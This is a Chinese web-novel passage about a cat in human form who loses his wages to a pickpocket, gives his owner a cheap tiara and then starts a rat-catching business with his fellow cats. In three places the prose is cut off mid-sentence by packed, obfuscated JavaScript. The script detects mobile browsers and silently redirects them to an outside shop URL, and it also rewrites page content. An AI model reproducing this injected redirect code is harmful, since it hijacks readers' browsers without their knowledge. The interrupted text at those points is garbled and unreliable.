他走在熟悉的街道上,雀跃不已,猫尾巴不受控制地高高翘起,把外套后摆撑起一个大包,看上去怪模怪样。 转过这个街角,就是家了,他要把钱悄悄放在江有鱼的枕头底下,给她一个惊喜! 等她发现了,一定会很高兴吧?会不会抱着自己的脖子,夸奖他是一只好猫呢? 光是想象这个场面就好幸福,灰狸嘴角含笑,忍不住把手伸进衣兜,去摸那沓能让江有鱼做公主的钞票。 谁知一摸他才发现,衣兜里居然是空的。 钱呢? 他的血汗钱怎么会不见了!他明明记得自己把钱放在这个衣兜里的啊!睡着前他还摸过一遍,不会错的! 灰狸惊得毛都炸起来了,这个衣兜没有,又连忙去翻另一个衣兜,也是空空的。 他把全身上下都摸了个遍,只在裤兜里找到两块钱硬币,那是他买面包时店员找给他的。 是不是掉在路上了? 他急忙往回跑,一只猫眼瞪得滚圆,在地上焦急地寻找,这里到公交车站只有短短一百多米,他来回找了四遍,连草丛都扒开看了,丝毫没见到钱的影子。 路上没有,一定是在车上丢了,他脱掉那件长外衣,仔细嗅着衣兜的味道,终于确定,有陌生人的手伸进过这个口袋。 有小偷! 灰狸的心像是掉进了冰窟窿里,即使在他蹲在冬日的冰河上时,也没觉得这么冷过,一只猫眼瞪得大大的,半天回不过神。 小偷!该死的小偷!怎么可以偷东西!那是他辛辛苦苦赚的钱呀! 他已经努力了一个月了,马上他就可以用这些钱买乐园门票、买漂亮裙子、带江有鱼去做公主了! 灰狸气得喵嗷一声,拔腿往公交车站跑,想要找到那辆公交车,抓住小偷。 然而公交车早就开走了,空荡荡的站台只有青色的路灯闪烁。 灰狸根本没记住那辆公交车的牌照,这会儿去哪里找?他孤零零站在站台上,心里又急躁又难过,眼泪恨不得都要流下来了。 他的心委屈极了,但又不知道跟谁去说,只想找个无人知道的角落,一头扎进去,再也不出来。 之前江有鱼跟他说,偷窃是不好的行为,他还没有感觉,到了今天他才明白,原来东西被偷了是这么可怕的滋味,难受得让他快把心吐出来了。 灰狸一边为自己过去的盗窃行为羞愧不已,另一边又急得团团转。 怎么办呢? 还有不到十天,就是江有鱼的生日了,即使他再去做装卸工,也来不及赚那么多钱啊! 而且他今天一夜没回去,江有鱼肯定会发现,以后也会把监管手环收回,不让他自己出门了! 他赚不到钱了,他什么都做不了了。 他怎么这么没用,什么都给不了她,连一个小小的梦想都无法帮她实现? 灰狸难堪地在原地转了两圈,指甲把手掌心都掐破了。 他摸摸裤兜里仅剩的两个硬币,踟蹰了半晌,向着街角一家24小时便利店走去。 已经后半夜一点多了,灰狸还是没回来,江有鱼急的冒火,把黎明会的猫问了个遍,但谁也不知道灰狸的踪迹。 难道说,他真的去偷东西了,现在失手被人抓住了? 江有鱼一想到这个可能性,就坐立难安,无比后悔自己信了他的鬼话,居然把监管手环给了他。 她有心出去找,但是云朵市何其大也,她又不是警犬,能闻着味道找人,即使出去,又到哪里去找他呢? 就这样等到凌晨三点多,江有鱼再也等不下去了,匆匆穿上衣服,到地下室把小二摇醒,指望他能靠鼻子找出灰狸的下落。 小二猫行狗职,本想说自己专业不对口,但看江有鱼的脸色十分可怕,也不敢辩解,只能在街上尽力搜寻起来。 谁知,才刚转过一个街角,江有鱼就看见,一个熟悉的黑影坐在街角。 是灰狸?可是,他在那干什么?他怎么不回家? 江有鱼先是松了口气,接着又一口怒气提在嗓子眼。 为了灰狸的面子,她先把小二打发回去,这才几步冲过去:“你做什么去了?大半夜不回家!” 她刚说完,就看见灰狸浑身是灰,头发蓬乱,一副被抽干力气的样子,耳朵下垂,眼圈也红了,呆呆坐在那里,样子看上去失落极了。 江有鱼惊呆了:“你、你这是怎么啦?” 灰狸没说话,只是从口袋里掏出一个小东西递给她。 江有鱼疑惑地接过来,赫然发现,那是一枚水钻发卡。 那发卡还不如孩子的小拇指大,廉价的水钻围成一个王冠的造型,在路灯下闪着俗艳的光,看起来就是便利店里常见的货色,最多不超过两块钱。 “这是做什么?要送给我吗?” 灰狸沮丧地摇摇头,又点点头。 他真正想送的,其实不是这个呀。 他想要送给江有鱼的,是华贵灿烂的礼服,是小巧美丽的水晶鞋,是镶满了珠宝的王冠。 他想跟故事书里的猫一样,有一肚子的好主意和神奇巫术,为她打造童话一样美丽的世界,送给她无忧无虑的生活,想让她在生日那天,做最快乐的公主。 可是他把一切都搞砸了。 王冠没有了,礼服消失了,午夜的钟声还没响起,美梦就已经破灭了。 他不是强大聪明的猫骑士,不能护送公主到云端的乐园,他是一只笨拙、没用、贫穷的猫,他没有鲜花也没有宝剑,他的手里只握着两枚硬币,那就是他仅有的东西了。 他能送给她的,只有这枚小小的水钻发卡,那么难看,那么便宜,实在是配不上她。 这么美丽的公主,怎么能戴这样难看的首饰呢? 但是,这就是他唯一买得起的“王冠”了。 她一定不会喜欢的,灰狸忐忑不安,垂下了眼睛。 “既然要送给我礼物,为什么不回家,要在这里等着呀?”江有鱼仍是疑惑,“还有,你哪里来的钱呢?” 她语调转急:“你不会……又去店里偷了吧?” “不是!”灰狸猛地抬起头,声音大得像是打雷,语调里饱含愤恨,把江有鱼吓了一跳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17089557|191266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 他一把抓住江有鱼的手,恨声道:“我再也不会偷了!这是我用自己赚的钱给你买的,不是偷的!” 他又急又气,语无伦次,一会儿是人话,一会儿是喵嗷,江有鱼拍着他的背:“慢点说,到底怎么回事?你去赚钱了?你怎么赚的?” 灰狸喘了两口气,又想起自己是撒谎出来的,尾巴心虚地下垂:“我、我打扮成人的样子,去工厂区那里帮司机搬货,他们就给我钱……” 江有鱼心疼极了:“工厂区?离家足足二十多公里呢!你最近白天都在那里吗?怪不得浑身是土,回家又那么累……你干嘛要去赚钱啊?我会照顾你的呀!” 她帮灰狸拍拍他身上的土,埋怨道:“你有什么想要的,可以跟我讲啊,我会买给你的,你一只小猫,干嘛非要工作不可呀?” 因为他不想只是接受江有鱼的照顾,他也想要给江有鱼一点东西。江有鱼为他付出的已经太多、太多了。 “因为你不喜欢老鼠,也不喜欢蟑螂,我能给你的,你都不喜欢,你喜欢做公主。” 灰狸哑着嗓子说:“我想送给你一顶最漂亮的王冠,还有公主裙和水晶鞋……但我没有钱,所以我就想去赚钱……” 他难堪地拨弄着那个小小的水钻发卡:“我想给你买云朵乐园的门票,想让你在生日那天,高高兴兴地做一天公主,我干了一个月的活,本已经攒够钱了,但是、钱被人偷走了……” 说到这里,他的声音染上了一丝哽咽:“对不起,我太没用了……我不能帮你办学校,也不能帮你买大房子,反而给你增加了很多负累,连三千块的梦想,我都无法帮你实现……” “我现在只能给你这个,我知道,它是假的,很不好看……可是……我只有两块钱……” 他抓着江有鱼的手,好像怕她嫌弃一样,绞尽脑汁地想要弥补:“你先收下它,我还会去干活的,这一次我会小心,一定不会再把钱弄丢了!” 他的眼睛怯生生地望着江有鱼:“到时候,我给你买一顶真正的王冠,像是电视里一样的王冠,上面镶满钻石,好吗?” 他没有等到江有鱼的回答,只看见江有鱼的眼泪扑簌簌落下。 接着,他感到自己被紧紧地抱住了。 眼泪滴在他的头顶,温热温热的,她抽噎着说:“世界上,为什么会有你这样傻的小猫呢?” 灰狸紧张地抬起头:“你为什么要哭?你不高兴了,是吗?” “不,我好高兴。”江有鱼低头,轻轻吻了吻灰狸的额头,“这是我收到过最棒、最漂亮的生日礼物。” 比世界上所有的钻石、明珠、翡翠、红宝石加在一起,还要宝贵的礼物。 她示意灰狸把那枚发卡戴在她头上,廉价的水钻在她的黑发上熠熠生辉,灿烂光芒,一如真正的钻石王冠。 灰狸抬起眼睛,痴痴地望着她。 星空下,她真的好像一位真正的公主。 戴着两块钱王冠的公主,拉着她的独眼猫骑士,往家里走去。 他们穷得一文不名,可他们感觉,自己是世界上最富有的人。 没有大城堡,没有公主裙,但是他们还有彼此掌心的温度。 对他们来说,这就足够了。 45.猫猫当自强 事后,灰狸正式向江有鱼提出,自己想去工厂区做装卸工。 江有鱼摸了摸这只小傻猫的头:“我已经有王冠了,不需要什么钻石,你用不着再去工作了,工厂区离家太远,你一个猫根本就不安全。” 灰狸却不同意,他知道江有鱼是在安慰自己:“不,我能做的!我很有力气,没人敢欺负我!” “我要实现你的梦想,还有,我不能让你白养那么多只猫,以后每个月我都要去工作,我会用自己的工资养活兄弟们!” 他是认真的,做装卸工的经历,极大地滋长了他的信心,现在灰狸认为自己完全能够胜任赚钱活动。 猫猫当自强,既然自己能工作糊口,为什么非要花江有鱼的钱呢? 灰狸这话有理,几百只猫是个大负担,如果他们能自力更生,江有鱼当然乐见其成。 但灰狸的想法也太天真,首先他离开萌芽街就是违规的,其次,一只猫去上班就更违规,要是他的身份暴露了,那可怎么办? 可是灰狸固执得不得了,江有鱼好说歹说,灰狸都当耳旁风。 她没有办法,只好哄道:“我不是反对你去赚钱,但是装卸工的工作不适合你,太累了,赚得又不多,你就不想多赚钱吗?” 灰狸当然想多赚钱:“……可是,我什么都不会,能找到什么好工作呢?” “谁说你什么都不会的?你不是会抓耗子吗?”江有鱼这么一说,自己眼睛也亮起来了。 对呀!灰狸会抓耗子,她为什么不给灰狸找些捕鼠的活呢? 看之前捕鼠加强班的火爆程度,就知道现在市场上对捉老鼠这件事还是有需求的 如果她注册一个公司,专门接捕鼠业务,自己筛选客户给灰狸接单,岂不是又安全、又方便? 猫捉老鼠,天经地义,虽然法律不准雇佣猫工,但她跟灰狸的关系可不是雇佣关系,算是游走在灰色地带,应该不违法。 甚至,连小二他们也能一起去,黎明会就没有不会捉老鼠的猫! 现在上门捕鼠的价格是按照平米收费的,100平的屋子捕鼠费用是500元,若每天都能接一单,那就是一万五千元。 虽说还是少了点,但业务一旦发展起来,一天肯定不止一单吧? 猫猫们又不存在人力成本、运营成本,这生意做得起来! 江有鱼越想,越觉得可行,连忙跟灰狸商量开公司的事情:“……活很简单,你现在也识字了,到时候我给你买一个手机,把客人的地址发给你,你去上门捉鼠。” “等到小二他们也认字了,就可以跟你一起去,只要你们把耳朵和尾巴藏好,不让客人围观,就不会有人发现你们的身份的。这样赚钱又能发挥你的特长,又不累,你说怎么样?” 只是捉老鼠就能赚钱吗?这么一想,他之前捉了那么多老鼠,岂不是浪费了一个亿呀! 灰狸当即猛点头:“好呀好呀!你真聪明,居然能想出这么好的主意!” 江有鱼沉吟道:“但我也要先跟你说清楚,猫是不能注册公司法人的,也没有收款的银行账户,所以只有我来开公司,钱也只能打到我的卡里。” “不过,公司产生的所有收益都是你的,到时候我会把那张卡给你,然后你可以去银行改密码。” 灰狸却摇摇头:“我不要,卡就放在你那里好了,我只需要买猫粮的钱。” 他要钱有什么用呢?钱只要够吃饭就好了,能让江有鱼开心才是最大的意义。 江有鱼却不这么想:“不行,你又出技术,又出猫工,结果一分钱收益都不拿,只要求一口饭吃,那也太剥削你们了,我不能这么做。” 她拍了板:“卡还是给你保管,现在你不知道怎么花,等拿到钱你就知道了。” 她扳起手指:“比如说,给兄弟们添置睡床、增设卫浴设施、万一你们生了病,还可以去看医生……花钱的地方多了去了!” 她三言两语,就给灰狸描述出一个做梦都不敢想的光明前景,每只猫都有自己的床,说不定都能睡羽绒床垫…… 他点点头,总算不再推脱:“那我也不改密码,不管赚多少钱,我们对半分。” 江有鱼想,倘若公司真要开办,先期运营总是她的活,一点不拿也不合适。她一向是很有原则的,干多少活就拿多少钱。 江有鱼:“我三,你七,不能再讨价还价了。” 灰狸闭了嘴,不再跟她争论,反正自己拿到钱也可以都给她花。 这件事就这么定了,江有鱼去注册公司,灰狸负责督促众猫尽快进行猫德学习,长期目标,是在明年三月份的时候,跟灰狸一起参加猫德证的考试,以便江有鱼合法收养他们。 灰狸原本不同意江有鱼收养这么多猫,但是江有鱼坚称,这是必要的安保措施。 她不想阿橘的事件再次上演,这世界上的坏人很多,她必须为黎明会的小猫谋得合法身份,否则,一旦小猫受到伤害,她都无法去给大家讨回公道。 而猫猫们的短期目标,则是攻坚生活常识、文化基础两门课,以便能出门工作。 这可是猫德课程里面最难的两科,霎时间,猫猫们哀嚎成一片,但是灰狸大哥铁面无私:学!必须得学! 江有鱼有云:要出门工作,总要对人类社会有基础了解吧?见到姑娘叫美女,见到老头叫大爷,坐公交要投币,否则即使乔装改扮,也藏不住猫尾巴。 江有鱼又有云:如果连字都不认识,那找地址都找不到,肯定没法去上班!现在的好多客人都是喜欢打字交流的,认字一定要学会。 还有算数,如果连算数都不会的话,对方有没有少给钱,大家都不知道,那不成了打白工了吗? 灰狸表示,江有鱼说的话都是至理名言,为了黎明会的明天,所有猫猫必须好好学习,天天向上! 于是,一个恐怖的猫德训练集中营诞生了! 地下室里,电视机24小时循环播放着网课,所有小猫都坐得整整齐齐,认真听讲。 灰狸大哥像是个教导主任一样,虎视眈眈地在猫群中来回巡逻,看到谁溜号、睡觉、说小话,就是一爪子上去。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17098232|191266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他可不是江有鱼,不搞体罚那套,灰狸坚信,巴掌下面出学霸!这些小猫散漫惯了,不给点厉害的,根本就管不住! 除此之外,灰狸还大搞考试制度,效法人类的高三冲刺,安排随堂测验、周试、月考,还要搞排名榜,考不及格的猫将被灰狸大哥单独拎出来“谈心谈话”,深入交流。 除了考试,还有连坐。 210只猫分成三大组,小二、小夜、小雪各带69只猫,这69只猫又分不同的小组,各个小组长必须管好同组成员,若出现上课溜号现象,同组成员都将喜提一套课外习题。 同时,欢迎诸猫互相揭发检举,谁检举了对方的不良行为,谁就可以免予处分。 不得不说,灰狸真是把人类教育的精华都学过去了 在这样严格的训练下,即使再笨的猫,水平也会突飞猛进。 一个月后,当江有鱼把公司注册下来时,已经有十几只猫掌握了五百常用字,一百以内加减法,与人类交流时也不会露怯了。 江有鱼对于这个成果,十分满意,为了庆祝公司成立,她拿出了自己准备的礼物。 那居然是一套非常可爱的制服! 上身是一件灰色上衣,上面有着黑色条纹,乍一看跟灰狸原型的毛色一模一样。 下身采用的是同款花色的背带裤,裤腿宽大,耐脏耐磨,最妙的是,这样走出去,尾巴就能藏在宽大的裤腿里,不用担心露出尾巴了! 另外,每只猫都有一顶橘黄色棒球帽,帽子上端特意做出了猫耳形状的凸起,给大家放耳朵用,外人看时,只会把它认成是帽子上的猫耳,最大限度地防止了小猫的身份暴露。 “这是我特意找人定制的工服,怎么样,喜欢吗?”江有鱼笑眯眯地拿起一件,在灰狸身上比画着。 制服上画着一个可爱的logo,是一只灰色的小猫抱着一条大鱼,灰狸看着那个logo,心里暖暖的。 除了江有鱼,还有谁会为他们考虑得这么周到? 灰狸握住她的手,放到嘴边轻吻一下:“喜欢得不得了。” 江有鱼的脸一下子红了,她飞速抽回手,尴尬道:“你这是做什么?他们都看着呢!不是说好了,有外人的时候不可以亲亲吗?” 猫的反应速度是人类的七倍,江有鱼刚把手抽出去,灰狸下意识地一捞,就把她的手再度抓了回来。 “我没有违反规定,他们都是猫,不是人。”他认真地为自己辩解完,又亲了亲她的手指尖。 虽说是这样吧,但是江有鱼还是感到了一阵羞涩,好像在众人面前官宣恋情一样,怪紧张的,她匆匆丢下制服,把场面交给灰狸,自己先撤了。 灰狸则带着众猫试穿制服,江有鱼做事细致,每件衣服都很合身。 看着镜子里那因穿上新衣服,而显得朝气勃勃的自己,他暗下决心,一定要把工作做到无可挑剔,赚到多多的钱,实现江有鱼的梦想。 他弯了一下唇角,率领大家练起了露出八颗牙齿的标准迎客微笑:“您好!为您服务!” 46.第一单生意 考虑到猫猫员工们的特殊性,江有鱼走的是网上接单的模式。 她在本地公众号、同城服务等app上都打了一波广告,按照惯例开业大酬宾,价钱打了八折。 很快,她就接到了第一单生意。 客人是个姑娘,应当也是一个人从外地过来云朵市工作的。江有鱼接到她电话的时候,已经是晚上十一点了。 姑娘吓得语无伦次,说她回家后,发现家里起码有三四只耗子,她现在站在椅子上一动不敢动,让捕鼠的师傅赶快来救命。 江有鱼趁机加收了100块的紧急上门费,对方只求耗子消失,痛快地答应了,最后这门生意以400元成交。 付款完毕,姑娘把地址发给江有鱼,要求半小时之内赶到,江有鱼满口答应。 第一单生意来了! 灰狸穿上制服,意气风发地往地下室走去,猫咪们夜间正是活跃的时候,都没有睡,还在复习白天学习的算术题。 听说有出去捉老鼠的机会,猫猫们都抢着上前,捉老鼠是老本行,多么轻松呀!谁要在这里学做鬼数学题哦! 灰狸却把他们都轰回去:“我只要上次考试的前三名!没学会人类的规矩,就不能出去工作!” 于是,只有小二和其他两只猫被选中了,众猫愤愤不平,咬牙攻克数学题去了,发誓下次一定要争取到外出放风的机会。 灰狸督促小二等猫变成人形,穿上制服,高高兴兴地出发了。 江有鱼那一百块钱紧急上门费也不是白收的,姑娘住的地方,打车来回差不多就是这个价格。她把一百块给了灰狸,嘱咐他打个车去,速度越快越好。 灰狸答应下来,拎上两个老鼠笼子就出发了。 到达姑娘家的时候,正是十一点二十八分,半小时内到达,灰狸看了看手机上的时间,对自己的效率很满意。 灰狸第一次正儿八经地工作,内心紧张,越紧张,脸上的笑容就越用力。 他不光自己笑,还催促小二他们:“笑!都给我笑!工作就是要笑脸迎人!” 他就这样绷着标准笑容,敲了敲门:“你好,我们是来捉老鼠的,家里有人吗?” 屋里传来人从高处跳下的声音,还有拖鞋走到门前的脚步声,然后,屋里就没动静了,只剩下一个人倒抽冷气的声音,门也没开。 奇怪,人类怎么不给他开门呢? 屋里的姑娘从门上的猫眼看出去,只见门前一字排开四个彪形大汉,个个面目狰狞,笑容扭曲。 再看为首的那个人,满脸是疤,一只独眼,一看就是刚从局子里放出来的,笑容狠戾,杀气腾腾。 其实那只是灰狸的“笑脸迎人”和“斗志满满”而已,只不过他的外形亲和力实在太差,呈现的效果也异常恐怖。 这、这是什么情况?这是来捉老鼠的?我看明明是□□吧! 姑娘紧张得快要晕倒了,捂着嘴巴,一声都不敢出。 身为一个单身独居青年女性,她脑海里一瞬间浮现无数法治新闻:人贩子、入室抢劫、轮x再杀、碎尸大案…… 相比之下,屋里的老鼠都一点不恐怖了,她抖着手把门反锁了两圈,假装屋里没人。 灰狸在门口等了三分钟,明明听见了有人在家,但是始终没人给他开门。 灰狸紧张地尾巴在裤子里左右乱摆,这是什么情况啊?江有鱼教了他怎么应对客人,怎么认真服务,但是却没教过他,万一吃了客人的闭门羹要怎么办啊? 他还能等,小二却不耐烦了,拿爪子挠门:“你别躲在里面不出声,我们知道你在家,开门开门啊!” 天哪!他们怎么知道我在家的?我明明没发出声音不是吗?姑娘抖如筛糠,更害怕了。 她哪里知道,这些小猫的耳朵灵敏得很,能听出她的脚步声,只当这是一伙儿犯罪分子,早就盯上她了,这才对她的行踪掌握得一清二楚。 说不定老鼠也是这群人故意放进来的,为的就是制造机会骗我开门…… 人在害怕的时候,大脑皮层会非常活跃,姑娘越想越歪,一转眼就把猫猫们往江洋大盗的方向联想过去了。 虽然说,某种意义上她也没猜错啦,这伙儿猫就是金盆洗手的犯罪分子啦~ 小二没有得到回应,挠门变成了用力敲门:“喂!你听见了没有?” 事到如今,不回应也不行了,姑娘哆哆嗦嗦道:“你、你们是谁?” “不都说过了吗?我们是来捉老鼠的!” 姑娘对于他们的身份越来越怀疑:“既然是我请的捕鼠师傅,那你说,你们单位的名字叫什么?” 灰狸刚想回答,小二就抢先道:“有鱼猫德学院!” 什么乱七八糟的!灰狸气地捶了一下小二的猫头,小二这才想起来自己说错了:“……我们是黎明捕鼠公司的!” 哪有人连自己单位名字都记不住的!他们肯定是有好几个身份,不小心说漏嘴了! 姑娘到现在已经完全确定他们不是好人了,赶忙悄悄往屋里撤退,拨打了报警电话。 还没到五分钟,警员们便赶到这里,一看四猫的长相,登时警惕心就起来了:“干什么的?” 灰狸大方答道:“捕鼠公司的,来给客人上门捉老鼠。” “是吗?捕鼠公司都得带器械吧,你们就带了几个笼子,怎么捉鼠啊?” “我们是生物防治,不用器械。” “那你叫什么名字?” “江灰狸。” “哪个hui,哪个li?” 糟糕,灰狸这名字,实在不像个人名啊…… 可灰狸不愧是文化组冠军,眼睛都不眨一下:“春晖的晖,黎明的黎。” 警察看不出灰狸的虚实,把目光转向了小二他们,小二他们可没有灰狸认字的本事,顿时有点害怕了,猫猫祟祟地往楼道里看,想伺机开溜。 这副表情看在警察眼里,就是心虚的表现,顿时横眉立目起来:“靠墙站好!都把身份证给我拿出来!” 身份证?他们哪有这种东西? 灰狸出了一身冷汗,他强行镇定下来:“身份证没有带。” “没带?那你们跟我回去一趟吧。”警察当即就要抓人。 这、这怎么办? 小二在后面踢了灰狸一脚,那意思很明显:大哥,咱们跑吧? 灰狸的手往后压了压:不行,怎么能跑?他们一没偷二没抢的,现在跑了才麻烦了,还会连累江有鱼的! 警察看他们眉来眼去,疑心他们要反抗,手都已经放在催泪喷射器上了,却见这群人在那个独眼的带领下,一个个乖乖低下了头,一副守法公民的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17098233|191266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样子。 警察一时间也有点摸不清路数了,手放开了催泪喷射器,口气也温和了不少:“没关系,不会冤枉你们的,到局子里把事情弄清楚,就可以走了。” 江有鱼在家里正熬着陈皮红豆沙,打算等灰狸他们凯旋而归后,犒劳犒劳这些小猫们。 谁知,她等到的却是警察局的电话:“江有鱼是吗?我是派出所的,江晖黎是你的员工是吧?” 江有鱼心一颤,怎么第一次出任务就被警察抓住了?难道他们的身份暴露了,警察要查她雇佣猫工? 她摸不清状况,含混地说道:“他们确实在我这干活。” “有人报警怀疑他们是犯罪分子,你带上证件来派出所一趟吧。” 江有鱼目瞪口呆,连忙打车奔警察局去了,折腾了一通,这才证明了四猫的清白。 好在今晚警察很忙,也没有细究四猫的身份,看了江有鱼的订单记录和营业执照,便把四猫放了回来。 至于捉老鼠的工作,客人当然是退单了,都没敢跟江有鱼再打照面,可能是怕被□□报复。 忙了一夜,不仅一分钱没赚到,还倒赔了一百多块的打车费,实在令人沮丧。 首次接单,便得到这样的结果,灰狸情绪很差,闷闷地拿小勺子搅和着红豆沙,一声不响。 江有鱼安慰道:“万事开头难嘛,咱们不会一直这么倒霉的,下次肯定就会好了。” 灰狸却不这么想:“别安慰我了,我知道,是因为我长得吓人,所以那个人才会把我当成坏蛋……” “……我还是继续去做装卸工吧,在那里,他们都最喜欢找我这样的干活了……” “别瞎说,你长得一点都不吓人。”江有鱼安慰地摸摸他的头,“是我考虑得不周到,客人是个独居女士,本来就不适合叫四个男猫去,下次你带上一只女猫,她们就不怕你了。” 江有鱼做生意时间长,对这个问题看得开,灰狸就不一样了,他心里憋着一股气,一定要在业界做出名堂,做出口碑,再不能发生这么丢脸的事情了! 江有鱼也在思考,她前期是弄错了方向。 捕鼠,必定涉及到夜间上门,以灰狸的长相身材,实在不适合半夜出现在别人家门口。 他们的优势是猫多势众,在家庭捕鼠施展不开,还是应该把目光投向店铺跟工厂才对,这些场所只要求最终成效,会少很多乱七八糟的事情,也不可能嫌弃灰狸的相貌。 接下来,就转型往大规模捕鼠发展吧! 话虽如此,但想要接到工厂、餐饮的单,却没那么容易。 网络平台的宣传大多针对家庭,少有针对这种大物业的,江有鱼又没有任何人脉,很难打开局面,一个星期过去了,一单都没接到。 灰狸越发沉默,虽然他嘴上不说,但江有鱼发现,灰狸在悄悄带着众猫锻炼肌肉,看起来,生意再没起色,他就要带着大家去搞装卸工天团了。 万般无奈之下,江有鱼开始在自己的朋友圈发广告了:生物防治,无害捕鼠,诸位如有需要欢迎咨询。 她之前并不想把捕鼠业务跟猫德学院联系在一起,但是形势比人强,她的学员家长里各行各业的都有,说不定就有人是做餐饮的,有这方面需求呢? 几轮广告下去,果然有了水花:周德福的主人找上了江有鱼。 47.猫猫军团出动 周德福的主人名叫周佳琪,是名房产中介,交游甚广。她也是个八面玲珑的人物,不管对谁都春风拂面,江有鱼对她印象很好。 事也凑巧,她的一个客户李厂长最近新盘下一个老厂房,打算扩大自己的食品加工厂。 那个旧厂房场地大,位置好,价钱合适,李厂长白天去看时,并未发现什么毛病,痛快地签了字,也把设备迁了进来。 然而等厂房到手,他夜间一来,就傻眼了。 这厂房……这还能叫厂房吗?根本是老鼠根据地啊! 也怪他前期没了解清楚,厂房空置期间,附近的村民暂时拿这里当仓库用,屯了一大堆猪饲料,把十里八乡的硕鼠全都引过来了。 李厂长当场是掐着人中出来的,这么多老鼠,要是不赶快处理了,后面他的厂子还办的起来吗? 老鼠夹、粘鼠胶、捕鼠笼……李厂长想尽了办法,只捉住了二十来只老鼠,无奈硕鼠太多,这点损伤对老鼠来说不算回事。 至于化学药剂,压根不在李厂长的考虑范围内,他做食品加工的,最怕出食品安全问题,还是希望用无毒无害的方法捕鼠。 周佳琪得知此事,当晚便看到江有鱼在朋友圈发的广告,便顺便问了问江有鱼是否需要他帮忙牵线。 江有鱼正巴不得有这种机会,对周佳琪千恩万谢,很快便联系上了李厂长。 李厂长听说是个新开的小公司,本来不想答应,但碍于周佳琪的面子,又不好拒绝。只能跟江有鱼约定:不付定金,看结果付款。 也就是说,倘若最终处理成果不满意,他可是不付钱的哟~ 江有鱼本来不想接这种没保障的单子,她也出来工作这么多年了,在这种事情上不会轻易妥协,但是灰狸知道后却很积极。 “我们能行的,我可以多带几个兄弟去,不管对面多少只老鼠,我们都能搞定!”灰狸急切地不得了,“那个厂房很大,要是处理了这单,能赚一万多元呢!” 江有鱼拗不过他,只好同意。 李厂长给她传来一个现场视频,让她了解下情况,江有鱼一点开,也是眼前一黑。 地上的老鼠不是论“只”的,也不是论“群”的,而是论“层”的。 拍视频的人连脚丫子都不敢往门里伸,只敢站在门口拍。那些老鼠胆子奇大,一点都不怕人,反而目光炯炯地望着镜头,黑夜下一片豆豆眼,闪着诡异的红光。 江有鱼的鸡皮疙瘩都起来了,这确定是个厂房么?她感觉这就是个黑死病培养皿吧!马上就要诞生出瘟疫了喂! 灰狸看了,也是眉头紧皱,现场比他想象的难处理,他本想着只带小二他们几个去就行了,现在一看,估计要黎明会全体出动了。 为了把所有的猫都带去,江有鱼特意租了辆大巴车,但愿这单能收到钱,要不然她的交通费都要亏死了。 灰狸对此事倒是信心满满,出发前,他还特意给猫咪们做了战前演讲。 他自从学会认字后,真的看了不少书,引经据典的,一会儿项羽一会儿拿破仑,江有鱼在旁边站着,不好意思提醒他:其实这两个人的下场都不好。 大巴车带着大家到了厂房,江有鱼不敢直面老鼠,就在车上等,顺便跟李厂长微信接洽,证明他们已经开始干活。 可喜可贺的是,因厂房老鼠太多,根本没人愿意再接近此处,所以猫猫们得以不受目光限制,自由发展。 灰狸把大家都带进厂房里,关住了大门。 这一次,他一定要好好发挥!若不能成功,他立刻就带着大家重拾装卸工的旧业,无论江有鱼说什么,他都不会再动摇了! “兄弟们听好了,今日之战,关乎我黎明会生死存亡,只准胜,不准败!要拿出勇气,拿出决心,把所有的老鼠都格杀当场,有没有信心?” 小猫们打哈欠地打哈欠,舔爪子地舔爪子,生死存亡是什么哦?说得那么吓人,他们只是小猫罢了,根本理解不了。 灰狸无奈,激励道:“如果此战获胜,我一个星期不安排任何作业!” 这话一出,猫咪们立刻沸腾了! 他们指天誓日,要一猫当先,奋勇作战,不破老鼠军团,绝不回家! 反正回家也得写作业~ 月上西山,到了鼠辈们出没的时节。 无数的大老鼠从地洞里钻出来,他们还不知道,黑暗里,已经有几百双眼睛在盯着它们。 群猫静悄悄地趴在机器上躲着,预备着一会儿神猫天降,格杀鼠辈。 黎明会的猫咪在捕猎时耐心都很好,长期的共同生活,让他们之间默契十足,他们默默锁定了自己的猎物,只等着发动进攻的信号。 猛然灯光大亮,老鼠们眼睛畏光,一时傻在当场。灰狸一声断喝:“出动!” 随即,他便带头向下扑去,群猫纷纷跟上,只见屋内猫飞鼠蹿,群猫连抽带咬,一时间只听老鼠吱吱惨叫,好些老鼠都被抽飞到半空。 灯光一亮,把屋中人的剪影都投射在窗外,好像在演皮影戏一样。江有鱼只听得厂房内乒乒乓乓响成一片,热闹得像是戏台上的锣鼓,节奏激昂。 灰狸像个大将军,呼喝着“前门!”“右边!”“角落!”,指挥众猫奋勇向前。 